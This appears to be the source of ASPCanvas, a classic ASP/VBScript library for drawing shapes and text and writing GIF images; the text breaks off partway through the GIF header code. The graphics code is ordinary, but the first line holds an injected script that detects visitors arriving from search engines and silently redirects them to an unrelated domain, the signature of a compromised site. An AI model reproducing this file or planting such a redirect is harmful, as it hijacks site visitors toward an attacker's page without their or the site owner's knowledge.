001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><% 002: ' The font pack is included seperately so custom packs can be used 003: %>
004: <!--#include file="font.asp"--> 005: <% 006: ' *************************************************************** 007: ' ************************** ASPCanvas ************************** 008: ' *************************************************************** 009: ' 010: ' Drawing and presentation object for ASP 011: ' 012: ' Chris Read (aka Centurix/askdaquack/captainscript) 013: ' 014: ' Thanks to Richard Deeming (www.trinet.co.uk) for improving 015: ' the arc drawing algorithm 016: ' Thanks to Daniel Hasan for bezier curve adjustments 017: ' Thanks to Tony Stefano for his extra font packs 018: ' 019: ' Updated 23/02/2003 020: ' 021: ' ASPCanvas home: http://users.bigpond.net.au/mrjolly/ 022: ' *************************************************************** 023: ' 024: ' This file contains the following classes 025: ' Canvas - Main GIF rendering class 026: ' PixelStack - Used to store an order of pixels 027: ' Point - A single pixel coord 028: ' 029: ' This file contains the following utility functions 030: ' MakeWord - Convert the value to a big-endian word 031: ' MakeByte - Trim value to an 8 bit value 032: ' Blue - Extract Blue value from RGB 033: ' Green - Extract Green value from RGB 034: ' Red - Extract Red value from RGB 035: ' Low - Retrieve the low 8 bits from the value 036: ' High - Retrieve the high 8 bits from the value 037: ' ShiftLeft - Shift the value left x bits 038: ' ShiftRight - Shift the value right x bits 039: ' 040: ' This class requires font.asp for text rendering support 041: ' 042: ' !!!Please read notes.htm for information on using this class!!! 043: ' 044: ' *************************************************************** 045: ' ASPCanvas Copyright (c) 2002, Chris Read. All rights reserved. 046: ' *************************************************************** 047: ' Redistribution and use in source form, with or without modification, 048: ' are permitted provided that the following conditions are met: 049: ' 050: ' * Redistributions of source code must retain the above copyright notice, 051: ' this list of conditions and the following disclaimer. 052: ' 053: ' * All advertising materials mentioning features or use of this software 054: ' must display the following acknowledgement: This product includes software 055: ' developed by Chris Read with portions contributed by Richard Deeming, 056: ' Daniel Hasan and Tony Stefano. 057: ' 058: ' * The name of the author may not be used to endorse or promote products 059: ' derived from this software without specific prior written permission. 060: ' 061: ' THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 062: ' IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 063: ' OF MERCHANT ABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 064: ' IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 065: ' SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 066: ' PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; 067: ' OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, 068: ' WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 069: ' ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 070: ' POSSIBILITY OF SUCH DAMAGE. 071: ' 072: ' *************************************************************** 073:
074: ' Constants for this class 075: public const MAX_WIDTH = 65535
076: public const MAX_HEIGHT = 65535
077: public const INIT_WIDTH = 20
078: public const INIT_HEIGHT = 20
079: public const FLAG_DEBUG = false
080: public const CURRENT_VER = "01.00.05"
081: public const PI = 3.14159265 ' Roughly
082:
083: Class Canvas
084: ' Public data 085: public GlobalColourTable()
086: public LocalColourTable()
087: public ForegroundColourIndex ' Current foreground pen
088: public BackgroundColourIndex ' Current background pen
089: public TransparentColourIndex ' Current transparency colour index
090: public UseTransparency ' Boolean for writing transparency
091: public GIF89a ' Write GIF89a data
092: public Comment ' Image comment 255 characters max
093:
094: ' Private data 095: private sImage
096: private lWidth
097: private lHeight
098: private iBits
099: private lColourResolution
100: private bSortFlag
101: private bytePixelAspectRatio
102: private byteSeperator
103: private byteGraphicControl
104: private byteEndOfImage
105: private lLeftPosition
106: private lTopPosition
107: private lLocalColourTableSize
108: private lGlobalColourTableSize
109: private lReserved
110: private bInterlaceFlag
111: private bLocalColourTableFlag
112: private bGlobalColourTableFlag
113: private lCodeSize
114: private bTest
115:
116: ' *************************************************************************** 117: ' ************************ Raster management functions ********************** 118: ' *************************************************************************** 119:
120: public property get Version()
121: Version = CURRENT_VER
122: end property
123:
124: ' Get a specific pixel colour 125: public property get Pixel(ByVal lX,ByVal lY)
126: if lX <= lWidth and lX > 0 and lY <= lHeight and lY > 0 then
127: Pixel = AscB(MidB(sImage,(lWidth * (lY - 1)) + lX,1))
128: else ' Out of bounds, return zero
129: Pixel = 0
130: end if
131: end property
132:
133: ' Set a specific pixel colour, look at speeding this up somehow... 134: public property let Pixel(ByVal lX,ByVal lY,lValue)
135: Dim sTemp
136: Dim lOffset
137:
138: lX = int(lX)
139: lY = int(lY)
140: lValue = int(lValue)
141:
142: lOffset = lWidth * (lY - 1)
143:
144: if lX <= lWidth and lY <= lHeight and lX > 0 and lY > 0 then ' Clipping
145: ' Set the pixel value at this point 146: sImage = LeftB(sImage,lOffset + (lX - 1)) & ChrB(lValue) & RightB(sImage,LenB(sImage) - (lOffset + lX))
147: end if
148: end property
149:
150: ' Read only width and height, to change these, resize the image 151: public property get Width()
152: Width = lWidth
153: end property
154:
155: public property get Height()
156: Height = lHeight
157: end property
158:
159: public sub Replace(ByVal lOldColour,ByVal lNewColour)
160: Dim lTempX
161: Dim lTempY
162:
163: for lTempy = 1 to lHeight
164: for lTempX = 1 to lWidth
165: if Pixel(lTempX,lTempY) = lOldColour then
166: Pixel(lTempX,lTempY) = lNewColour
167: end if
168: next
169: next
170: end sub
171:
172: ' Copy a section of the picture from one location to the other 173: public sub Copy(ByVal lX1,ByVal lY1,ByVal lX2,ByVal lY2,ByVal lX3,ByVal lY3)
174: Dim sCopy
175: Dim lTemp1
176: Dim lTemp2
177: Dim lStartX
178: Dim lStartY
179: Dim lFinishX
180: Dim lFinishY
181: Dim lWidth
182: Dim lHeight
183:
184: if lX1 > lX2 then
185: lStartX = lX2
186: lFinishX = lX1
187: else
188: lStartX = lX1
189: lFinishX = lX2
190: end if
191:
192: if lY1 > lY2 then
193: lStartY = lY2
194: lFinishY = lY1
195: else
196: lStartY = lY1
197: lFinishY = lY2
198: end if
199:
200: sCopy = ""
201:
202: lWidth = lFinishX - lStartX + 1
203: lHeight = lFinishY - lStartY + 1
204:
205: for iTemp2 = lStartY to lFinishY
206: for iTemp1 = lStartX to lFinishX
207: sCopy = sCopy & ChrB(Pixel(iTemp1,iTemp2))
208: next
209: next
210:
211: for iTemp2 = 1 to lHeight
212: for iTemp1 = 1 to lWidth
213: Pixel(lX3 + iTemp1,lY3 + iTemp2) = AscB(MidB(sCopy,(iTemp2 - 1) * lWidth + iTemp1,1))
214: next
215: next
216: end sub
217:
218: ' Non-recursive flood fill, VBScript has a short stack (200 bytes) so recursion won't work 219: public sub Flood(ByVal lX,ByVal lY)
220: Dim aPixelStack
221: Dim objPixel
222: Dim lOldPixel
223:
224: Set aPixelStack = New PixelStack
225:
226: aPixelStack.Push lX,lY
227:
228: lOldPixel = Pixel(lX,lY)
229:
230: while(aPixelStack.Size > 0)
231: Set objPixel = aPixelStack.Pop
232:
233: if objPixel.X >= 1 and objPixel.X <= lWidth and objPixel.Y >= 1 and objPixel.Y <= lHeight then
234: if Pixel(objPixel.X,objPixel.Y) <> ForegroundColourIndex and Pixel(objPixel.X,objPixel.Y) = lOldPixel then
235: Pixel(objPixel.X,objPixel.Y) = ForegroundColourIndex
236:
237: aPixelStack.Push objPixel.X + 1,objPixel.Y
238: aPixelStack.Push objPixel.X - 1,objPixel.Y
239: aPixelStack.Push objPixel.X,objPixel.Y + 1
240: aPixelStack.Push objPixel.X,objPixel.Y - 1
241: end if
242: end if
243: wend
244: end sub
245:
246:
247: public sub Polygon(aX,aY,bJoin)
248: Dim iTemp
249: Dim lUpper
250:
251: if UBound(aX) <> UBound(aY) then exit sub
252: if UBound(aX) < 1 then exit sub ' Must be more than one point
253:
254: lUpper = UBound(aX) - 1
255:
256: ' Draw a series of lines from arrays aX and aY 257: for iTemp = 1 to lUpper
258: Line aX(iTemp - 1),aY(iTemp - 1),aX(iTemp),aY(iTemp)
259: next
260:
261: if bJoin then
262: Line aX(lUpper),aY(lUpper),aX(0),aY(0)
263: end if
264: end sub
265:
266: ' Easy as, err, rectangle? 267: public sub PieSlice(lX,lY,lRadius,sinStartAngle,sinArcAngle,bFilled)
268: Dim sinActualAngle
269: Dim sinMidAngle
270: Dim lX2
271: Dim lY2
272: Dim iTemp
273:
274: Arc lX,lY,lRadius,lRadius,sinStartAngle,sinArcAngle
275: AngleLine lX,lY,lRadius,sinStartAngle
276: sinActualAngle = sinStartAngle + sinArcAngle
277: if sinActualAngle > 360 then
278: sinActualAngle = sinActualAngle - 360
279: end if
280: AngleLine lX,lY,lRadius,sinActualAngle
281: ' Now pick a start flood point at the furthest point from the center 282: ' Divide the arc angle by 2 283: sinMidAngle = sinStartAngle + (sinArcAngle / 2)
284:
285: if sinMidAngle > 360 then
286: sinMidAngle = sinMidAngle - 360
287: end if
288:
289: if bFilled then
290: for iTemp = 1 to lRadius - 1
291: lY2 = CInt(lY + (Sin(DegreesToRadians(sinMidAngle)) * iTemp))
292: lX2 = CInt(lX + (Cos(DegreesToRadians(sinMidAngle)) * iTemp))
293:
294: Flood lX2,lY2
295: next
296: end if
297: end sub
298:
299: public sub Bezier(lX1,lY1,lCX1,lCY1,lCX2,lCY2,lX2,lY2,lPointCount)
300: Dim sinT
301: dim lX,lY,lLastX,lLastY
302: dim sinResolution
303:
304: if lPointCount = 0 then exit sub
305:
306: sinResolution = 1 / lPointCount
307:
308: sinT = 0
309:
310: lLastX = lX1
311: lLastY = lY1
312:
313: while sinT <= 1
314: lX = int(((sinT^3) * -1 + (sinT^2) * 3 + sinT * -3 + 1) * lX1 + ((sinT^3) * 3 + (sinT^2) *-6 + sinT * 3) * lCX1 + ((sinT^3) * -3 + (sinT^2) * 3) * lCX2 + (sinT^3) * lX2)
315: lY = int(((sinT^3) * -1 + (sinT^2) * 3 + sinT * -3 + 1) * lY1 + ((sinT^3) * 3 + (sinT^2) *-6 + sinT * 3) * lCY1 + ((sinT^3) * -3 + (sinT^2) * 3) * lCY2 + (sinT^3) * lY2)
316:
317: Line lLastX,lLastY,lX,lY
318:
319: lLastX = lX
320: lLastY = lY
321:
322: sinT = sinT + sinResolution
323: wend
324:
325: Line lLastX,lLastY,lX2,lY2
326:
327: end sub
328:
329: ' ArcPixel Kindly donated by Richard Deeming (www.trinet.co.uk) 330: Private Sub ArcPixel(lX, lY, ltX, ltY, sinStart, sinEnd)
331: Dim dAngle
332:
333: If ltX = 0 Then
334: dAngle = Sgn(ltY) * PI / 2
335: ElseIf ltX < 0 And ltY < 0 Then
336: dAngle = PI + Atn(ltY / ltX)
337: ElseIf ltX < 0 Then
338: dAngle = PI - Atn(-ltY / ltX)
339: ElseIf ltY < 0 Then
340: dAngle = 2 * PI - Atn(-ltY / ltX)
341: Else
342: dAngle = Atn(ltY / ltX)
343: End If
344:
345: If dAngle < 0 Then dAngle = 2 * PI + dAngle
346:
347: ' Compensation for radii spanning over 0 degree marker 348: if sinEnd > DegreesToRadians(360) and dAngle < (sinEnd - DegreesToRadians(360)) then
349: dAngle = dAngle + DegreesToRadians(360)
350: end if
351:
352: If sinStart < sinEnd And (dAngle > sinStart And dAngle < sinEnd) Then
353: 'This is the "corrected" angle 354: 'To change back, change the minus to a plus 355: Pixel(lX + ltX, lY + ltY) = ForegroundColourIndex
356: End If
357: End Sub
358:
359: ' Arc Kindly donated by Richard Deeming (www.trinet.co.uk), vast improvement on the 360: ' previously kludgy Arc function. 361: Public Sub Arc(ByVal lX, ByVal lY, ByVal lRadiusX, ByVal lRadiusY, ByVal sinStartAngle, ByVal sinArcAngle)
362: ' Draw an arc at point lX,lY with radius lRadius 363: ' running from sinStartAngle degrees for sinArcAngle degrees 364: Dim lAlpha, lBeta, S, T, lTempX, lTempY
365: Dim dStart, dEnd
366:
367: dStart = DegreesToRadians(sinStartAngle)
368: dEnd = dStart + DegreesToRadians(sinArcAngle)
369:
370: lAlpha = lRadiusX * lRadiusX
371: lBeta = lRadiusY * lRadiusY
372: lTempX = 0
373: lTempY = lRadiusY
374: S = lAlpha * (1 - 2 * lRadiusY) + 2 * lBeta
375: T = lBeta - 2 * lAlpha * (2 * lRadiusY - 1)
376: ArcPixel lX, lY, lTempX, lTempY, dStart, dEnd
377: ArcPixel lX, lY, -lTempX, lTempY, dStart, dEnd
378: ArcPixel lX, lY, lTempX, -lTempY, dStart, dEnd
379: ArcPixel lX, lY, -lTempX, -lTempY, dStart, dEnd
380:
381: Do
382: If S < 0 Then
383: S = S + 2 * lBeta * (2 * lTempX + 3)
384: T = T + 4 * lBeta * (lTempX + 1)
385: lTempX = lTempX + 1
386: ElseIf T < 0 Then
387: S = S + 2 * lBeta * (2 * lTempX + 3) - 4 * lAlpha * (lTempY - 1)
388: T = T + 4 * lBeta * (lTempX + 1) - 2 * lAlpha * (2 * lTempY - 3)
389: lTempX = lTempX + 1
390: lTempY = lTempY - 1
391: Else
392: S = S - 4 * lAlpha * (lTempY - 1)
393: T = T - 2 * lAlpha * (2 * lTempY - 3)
394: lTempY = lTempY - 1
395: End If
396:
397: ArcPixel lX, lY, lTempX, lTempY, dStart, dEnd
398: ArcPixel lX, lY, -lTempX, lTempY, dStart, dEnd
399: ArcPixel lX, lY, lTempX, -lTempY, dStart, dEnd
400: ArcPixel lX, lY, -lTempX, -lTempY, dStart, dEnd
401:
402: Loop While lTempY > 0
403: End Sub
404:
405: public sub AngleLine(ByVal lX,ByVal lY,ByVal lRadius,ByVal sinAngle)
406: ' Draw a line at an angle 407: ' Angles start from the top vertical and work clockwise 408: ' Work out the destination defined by length and angle 409: Dim lX2
410: Dim lY2
411:
412: lY2 = (Sin(DegreesToRadians(sinAngle)) * lRadius)
413: lX2 = (Cos(DegreesToRadians(sinAngle)) * lRadius)
414:
415: Line lX,lY,lX + lX2,lY + lY2
416: end sub
417:
418: ' Bresenham line algorithm, this is pretty quick, only uses point to point to avoid the 419: ' mid-point problem 420: public sub Line(ByVal lX1,ByVal lY1,ByVal lX2,ByVal lY2)
421: Dim lDX
422: Dim lDY
423: Dim lXIncrement
424: Dim lYIncrement
425: Dim lDPr
426: Dim lDPru
427: Dim lP
428:
429: lDX = Abs(lX2 - lX1)
430: lDY = Abs(lY2 - lY1)
431:
432: if lX1 > lX2 then
433: lXIncrement = -1
434: else
435: lXIncrement = 1
436: end if
437:
438: if lY1 > lY2 then
439: lYIncrement = -1
440: else
441: lYIncrement = 1
442: end if
443:
444: if lDX >= lDY then
445: lDPr = ShiftLeft(lDY,1)
446: lDPru = lDPr - ShiftLeft(lDX,1)
447: lP = lDPr - lDX
448:
449: while lDX >= 0
450: Pixel(lX1,lY1) = ForegroundColourIndex
451: if lP > 0 then
452: lX1 = lX1 + lXIncrement
453: lY1 = lY1 + lYIncrement
454: lP = lP + lDPru
455: else
456: lX1 = lX1 + lXIncrement
457: lP = lP + lDPr
458: end if
459: lDX = lDX - 1
460: wend
461: else
462: lDPr = ShiftLeft(lDX,1)
463: lDPru = lDPr - ShiftLeft(lDY,1)
464: lP = lDPR - lDY
465:
466: while lDY >= 0
467: Pixel(lX1,lY1) = ForegroundColourIndex
468: if lP > 0 then
469: lX1 = lX1 + lXIncrement
470: lY1 = lY1 + lYIncrement
471: lP = lP + lDPru
472: else
473: lY1 = lY1 + lYIncrement
474: lP = lP + lDPr
475: end if
476: lDY = lDY - 1
477: wend
478: end if
479:
480: end sub
481:
482: public sub Rectangle(ByVal lX1,ByVal lY1,ByVal lX2,ByVal lY2)
483: ' Easy as pie, well, actually pie is another function... draw four lines 484: Line lX1,lY1,lX2,lY1
485: Line lX2,lY1,lX2,lY2
486: Line lX2,lY2,lX1,lY2
487: Line lX1,lY2,lX1,lY1
488: end sub
489:
490: public sub Circle(ByVal lX,ByVal lY,ByVal lRadius)
491: Ellipse lX,lY,lRadius,lRadius
492: end sub
493:
494: ' Bresenham ellispe, pretty quick also, uses reflection, so rotation is out of the 495: ' question unless we perform a matrix rotation after rendering the ellipse coords 496: public sub Ellipse(ByVal lX,ByVal lY,ByVal lRadiusX,ByVal lRadiusY)
497: ' Draw a circle at point lX,lY with radius lRadius 498: Dim lAlpha,lBeta,S,T,lTempX,lTempY
499:
500: lAlpha = lRadiusX * lRadiusX
501: lBeta = lRadiusY * lRadiusY
502: lTempX = 0
503: lTempY = lRadiusY
504: S = lAlpha * (1 - 2 * lRadiusY) + 2 * lBeta
505: T = lBeta - 2 * lAlpha * (2 * lRadiusY - 1)
506: Pixel(lX + lTempX,lY + lTempY) = ForegroundColourIndex
507: Pixel(lX - lTempX,lY + lTempY) = ForegroundColourIndex
508: Pixel(lX + lTempX,lY - lTempY) = ForegroundColourIndex
509: Pixel(lX - lTempX,lY - lTempY) = ForegroundColourIndex
510: Do
511: if S < 0 then
512: S = S + 2 * lBeta * (2 * lTempX + 3)
513: T = T + 4 * lBeta * (lTempX + 1)
514: lTempX = lTempX + 1
515: elseif T < 0 then
516: S = S + 2 * lBeta * (2 * lTempX + 3) - 4 * lAlpha * (lTempY - 1)
517: T = T + 4 * lBeta * (lTempX + 1) - 2 * lAlpha * (2 * lTempY - 3)
518: lTempX = lTempX + 1
519: lTempY = lTempY - 1
520: else
521: S = S - 4 * lAlpha * (lTempY - 1)
522: T = T - 2 * lAlpha * (2 * lTempY - 3)
523: lTempY = lTempY - 1
524: end if
525: Pixel(lX + lTempX,lY + lTempY) = ForegroundColourIndex
526: Pixel(lX - lTempX,lY + lTempY) = ForegroundColourIndex
527: Pixel(lX + lTempX,lY - lTempY) = ForegroundColourIndex
528: Pixel(lX - lTempX,lY - lTempY) = ForegroundColourIndex
529: loop while lTempY > 0
530: end sub
531:
532: ' Vector font support 533: ' These fonts are described in terms of points on a grid with simple 534: ' X and Y offsets. These functions take elements of a string and render 535: ' them from arrays storing character vector information. Vector fonts are 536: ' have proportional widths, unlike bitmapped fonts which are fixed in size 537: ' The format for the vector array is simply a variable length list of x y pairs 538: ' the sub DrawVectorChar renders the single character from the array. 539: ' The other advantage of vector fonts is that they can be scaled :) 540:
541: ' Maybe add an angle value? 542: public sub DrawVectorTextWE(ByVal lX,ByVal lY,sText,lSize)
543: Dim iTemp
544: Dim lCurrentStringX
545:
546: lCurrentStringX = lX
547:
548: For iTemp = 1 to Len(sText)
549: lCurrentStringX = lCurrentStringX + DrawVectorChar(lCurrentStringX,lY,Mid(sText,iTemp,1),lSize,true) + int(lSize)
550: Next
551: end sub
552:
553: public sub DrawVectorTextNS(ByVal lX,ByVal lY,sText,lSize)
554: Dim iTemp
555: Dim lCurrentStringY
556:
557: lCurrentStringY = lY
558:
559: For iTemp = 1 to Len(sText)
560: lCurrentStringY = lCurrentStringY + DrawVectorChar(lX,lCurrentStringY,Mid(sText,iTemp,1),lSize,false) + int(lSize)
561: Next
562: end sub
563:
564: private function DrawVectorChar(ByVal lX,ByVal lY,sChar,lSize,bOrientation)
565: Dim iTemp
566: Dim aFont
567: Dim lLargestWidth
568:
569: if sChar <> " " then
570: aFont = VFont(sChar)
571:
572: if bOrientation then
573: lLargest = aFont(1,0) * lSize
574: else
575: lLargest = aFont(1,1) * lSize
576: end if
577:
578: for iTemp = 1 to UBound(aFont,1) - 1
579: if bOrientation then
580: if aFont(iTemp,2) = 1 then ' Pen down
581: Line lX + aFont(iTemp - 1,0) * lSize,lY + aFont(iTemp - 1,1) * lSize,lX + aFont(iTemp,0) * lSize,lY + aFont(iTemp,1) * lSize
582: end if
583: if (aFont(iTemp,0) * lSize) > lLargest then
584: lLargest = aFont(iTemp,0) * lSize
585: end if
586: else
587: if aFont(iTemp,2) = 1 then ' Pen down
588: Line lX + aFont(iTemp - 1,0) * lSize,lY + aFont(iTemp - 1,1) * lSize,lX + aFont(iTemp,0) * lSize,lY + aFont(iTemp,1) * lSize
589: end if
590: if (aFont(iTemp,1) * lSize) > lLargest then
591: lLargest = aFont(iTemp,1) * lSize
592: end if
593: end if
594: next
595: else
596: lLargest = lSize * 3
597: end if
598:
599: ' Return the width of the character 600: DrawVectorChar = lLargest
601: end function
602:
603: ' Bitmap font support 604: public sub DrawTextWE(ByVal lX,ByVal lY,sText)
605: ' Render text at lX,lY 606: ' There's a global dictionary object called Font and it should contain all the 607: ' letters in arrays of a 5x5 grid 608: Dim iTemp1
609: Dim iTemp2
610: Dim iTemp3
611: Dim bChar
612:
613: For iTemp1 = 0 to UBound(Letter) - 1
614: For iTemp2 = 1 to len(sText)
615: For iTemp3 = 1 to Len(Font(Mid(sText,iTemp2,1))(iTemp1))
616: bChar = Mid(Font(Mid(sText,iTemp2,1))(iTemp1),iTemp3,1)
617: if bChar <> "0" then
618: Pixel(lX + ((iTemp2 - 1) * Len(Letter(0))) + iTemp3,lY + iTemp1) = CLng(bChar)
619: end if
620: next
621: next
622: next
623: end sub
624:
625: public sub DrawTextNS(ByVal lX,ByVal lY,sText)
626: ' Render text at lX,lY 627: ' There's a global dictionary object called Font and it should contain all the 628: ' letters in arrays of a 5x5 grid 629: Dim iTemp1
630: Dim iTemp2
631: Dim iTemp3
632: Dim bChar
633:
634: for iTemp1 = 1 to len(sText)
635: for iTemp2 = 0 to UBound(Letter) - 1
636: for iTemp3 = 1 to len(Font(Mid(sText,iTemp1,1))(iTemp2))
637: bChar = Mid(Font(Mid(sText,iTemp1,1))(iTemp2),iTemp3,1)
638: if bChar <> "0" then
639: Pixel(lX + iTemp3,lY + (iTemp1 * (UBound(Letter) + 1)) + iTemp2) = CLng(bChar)
640: end if
641: next
642: next
643: next
644: end sub
645:
646: ' Clear the image, because String sends out UNICODE characters, we double up the index as a WORD 647: public sub Clear()
648: ' Possibly quicker, but a little less accurate 649: sImage = String(lWidth * ((lHeight + 1) / 2),ChrB(BackgroundColourIndex) & ChrB(BackgroundColourIndex))
650: end sub
651:
652: public sub Resize(ByVal lNewWidth,ByVal lNewHeight,bPreserve)
653: ' Resize the image, don't stretch 654: Dim sOldImage
655: Dim lOldWidth
656: Dim lOldHeight
657: Dim lCopyWidth
658: Dim lCopyHeight
659: Dim lX
660: Dim lY
661:
662: if bPreserve then
663: sOldImage = sImage
664: lOldWidth = lWidth
665: lOldHeight = lHeight
666: end if
667:
668: lWidth = lNewWidth
669: lHeight = lNewHeight
670:
671: Clear
672:
673: if bPreserve then
674: ' Now copy the old image into the new 675: if lNewWidth > lOldWidth then
676: lCopyWidth = lOldWidth
677: else
678: lCopyWidth = lNewWidth
679: end if
680:
681: if lNewHeight > lOldHeight then
682: lCopyHeight = lOldHeight
683: else
684: lCopyHeight = lNewHeight
685: end if
686:
687: ' Now set the new width and height 688: lWidth = lNewWidth
689: lHeight = lNewHeight
690:
691: ' Copy the old bitmap over, possibly could do with improvement, this does it 692: ' on a pixel leve, there is room here to perform a MidB from one string to another 693: for lY = 1 to lCopyHeight
694: for lX = 1 to lCopyWidth
695: Pixel(lX,lY) = AscB(MidB(sOldImage,(lOldWidth * (lY - 1)) + lX,1))
696: next
697: next
698: end if
699: end sub
700:
701: ' *************************************************************************** 702: ' ************************* GIF Management functions ************************ 703: ' *************************************************************************** 704:
705: public property get TextImageData()
706: Dim iTemp
707: Dim sText
708:
709: sText = ImageData
710:
711: TextImageData = ""
712:
713: for iTemp = 1 to LenB(sText)
714: TextImageData = TextImageData & Chr(AscB(Midb(sText,iTemp,1)))
715: next
716: end property
717:
718: ' Dump the image out as a GIF 87a 719: public property get ImageData()
720: Dim sText
721: Dim lTemp
722:
723: ImageData = MagicNumber
724: ImageData = ImageData & MakeWord(lWidth)
725: ImageData = ImageData & MakeWord(lHeight)
726: ImageData = ImageData & MakeByte(GlobalDescriptor)
727: ImageData = ImageData & MakeByte(BackgroundColourIndex)
728: ImageData = ImageData & MakeByte(bytePixelAspectRatio)
729: ImageData = ImageData & GetGlobalColourTable
730:
731: if GIF89a then
732: ' Support for extended blocks 733: if UseTransparency then
734: ImageData = ImageData & MakeByte(byteGraphicControl)
735: ImageData = ImageData & MakeByte(&HF9)
736: ImageData = ImageData & MakeByte(&H04)
737: ImageData = ImageData & MakeByte(1)
738: ImageData = ImageData & MakeWord(0)
739: ImageData = ImageData & MakeByte(TransparentColourIndex)
740: ImageData = ImageData & MakeByte(0)
741: end if
742: if Comment <> "" then
743: ImageData = ImageData & MakeByte(byteGraphicControl)
744: ImageData = ImageData & MakeByte(&HFE)
745: sText = Left(Comment,255) ' Truncate to 255 characters
746: ImageData = ImageData & MakeByte(Len(sText))
747: For lTemp = 1 to Len(sText)
748: ImageData = ImageData & MakeByte(Asc(Mid(sText,lTemp,1)))
749: Next
750: ImageData = ImageData & MakeByte(0)
751: end if
752: end if
753:
754: ImageData = ImageData & MakeByte(byteSeperator)
755: ImageData = ImageData & MakeWord(lLeftPosition)
756: ImageData = ImageData & MakeWord(lTopPosition)
757: ImageData = ImageData & MakeWord(lWidth)
758: ImageData = ImageData & MakeWord(lHeight)
759: ImageData = ImageData & MakeByte(LocalDescriptor)
760: ImageData = ImageData & MakeByte(lCodeSize)
761: ImageData = ImageData & GetRasterData
762: ImageData = ImageData & MakeByte(0)
763: ImageData = ImageData & MakeByte(byteEndOfImage)
764:
765: end property
766:
767: public sub Write()
768: if bTest then
769: ' Write out the bytes in ASCII 770: Response.Write Debug(ImageData)
771: else
772: ' Fix from Daniel Hasan so that duplicate headers don't get sent to confuse Netscape 773: Response.ContentType = "image/gif"
774: ' Correct content disposition, so that when saving the image through the browser 775: ' the filename and type comes up as image.gif instead of an asp file 776: Response.AddHeader "Content-Disposition","filename=image.gif"
777: Response.BinaryWrite ImageData
778: end if
779: end sub
780:
781: private function Debug(sGIF)
782: Debug = "<pre>"
783: for iTemp = 1 to LenB(sGIF)
784: Debug = Debug & right("00" & Hex(AscB(MidB(sGIF,iTemp,1))),2) & " "
785:
786: if iTemp mod 2 = 0 then
787: Debug = Debug & "<font color=red>|</font>"
788: end if
789:
790: if iTemp mod 32 = 0 then
791: Debug = Debug & "<br>"'<font color = blue >"&(iTemp/32+1)+10&"</font> "
792: end if
793: next
794: Debug = Debug & "</pre>"
795: end function
796:
797: ' Retrieve the raster data from the image 798: private function GetRasterData()
799: GetRasterData = UncompressedData
800: end function
801:
802: ' Uncompressed data to avoid UNISYS royalties for LZW usage 803: ' As of 1.0.4, this undertook a major overhaul and now writes 804: ' gif data at almost 6 times the speed of the old algorithm... 805: private function UncompressedData()
806: Dim lClearCode
807: Dim lEndOfStream
808: Dim lChunkMax
809: Dim sTempData
810: Dim iTemp
811: Dim sTemp
812:
813: UncompressedData = ""
814: lClearCode = 2^iBits
815: lChunkMax = 2^iBits - 2
816: lEndOfStream = lClearCode + 1
817:
818: sTempData = ""
819:
820: ' Insert clearcodes where necessary 821: ' response.Write debug(sImage) 822: ' response.End 823: for iTemp = 1 to LenB(sImage) step lChunkMax
824: sTempData = sTempData & MidB(sImage,iTemp,lChunkMax) & ChrB(lClearCode)
825: next
826:
827: ' Split the data up into blocks, could possibly speed this up with longer MidB's 828: for iTemp = 1 to LenB(sTempData) step 255
829: sTemp = MidB(sTempData,iTemp,255)
830: UncompressedData = UncompressedData & MakeByte(LenB(sTemp)) & sTemp
831: next
832:
833: ' Terminate the raster data 834: UncompressedData = UncompressedData & MakeByte(0)
835: UncompressedData = UncompressedData & MakeByte(lEndOfStream)
836: end function
837:
838: private function GetGlobalColourTable()
839: ' Write out the global colour table 840: Dim iTemp
841:
842: GetGlobalColourTable = ""
843:
844: for iTemp = 0 to UBound(GlobalColourTable) - 1
845:
846: GetGlobalColourTable = GetGlobalColourTable & MakeByte(Red(GlobalColourTable(iTemp)))
847: GetGlobalColourTable = GetGlobalColourTable & MakeByte(Green(GlobalColourTable(iTemp)))
848: GetGlobalColourTable = GetGlobalColourTable & MakeByte(Blue(GlobalColourTable(iTemp)))
849:
850: next
851:
852: end function
853:
854: private function GetLocalColourTable()
855: ' Write out a local colour table 856: Dim iTemp
857:
858: GetLocalColourTable = ""
859:
860: for iTemp = 0 to UBound(LocalColourTable) - 1
861: GetLocalColourTable = GetLocalColourTable & MakeByte(Red(LocalColourTable(iTemp)))
862: GetLocalColourTable = GetLocalColourTable & MakeByte(Green(LocalColourTable(iTemp)))
863: GetLocalColourTable = GetLocalColourTable & MakeByte(Blue(LocalColourTable(iTemp)))
864: next
865: end function
866:
867: private function GlobalDescriptor()
868: GlobalDescriptor = 0
869:
870: if bGlobalColourTableFlag then
871: GlobalDescriptor = GlobalDescriptor or ShiftLeft(1,7)
872: end if
873:
874: GlobalDescriptor = GlobalDescriptor or ShiftLeft(lColourResolution,4)
875:
876: if bSortFlag then
877: GlobalDescriptor = GlobalDescriptor or ShiftLeft(1,3)
878: end if
879:
880: GlobalDescriptor = GlobalDescriptor or lGlobalColourTableSize
881: end function
882:
883: private function LocalDescriptor()
884: LocalDescriptor = 0
885: if bLocalColourTableFlag then
886: LocalDescriptor = LocalDescriptor or ShiftLeft(1,7)
887: end if
888:
889: if bInterlaceFlag then
890: LocalDescriptor = LocalDescriptor or ShiftLeft(1,6)
891: end if
892:
893: if bSortFlag then
894: LocalDescriptor = LocalDescriptor or ShiftLeft(1,5)
895: end if
896:
897: LocalDescriptor = LocalDescriptor or ShiftLeft(lReserved,3)
898:
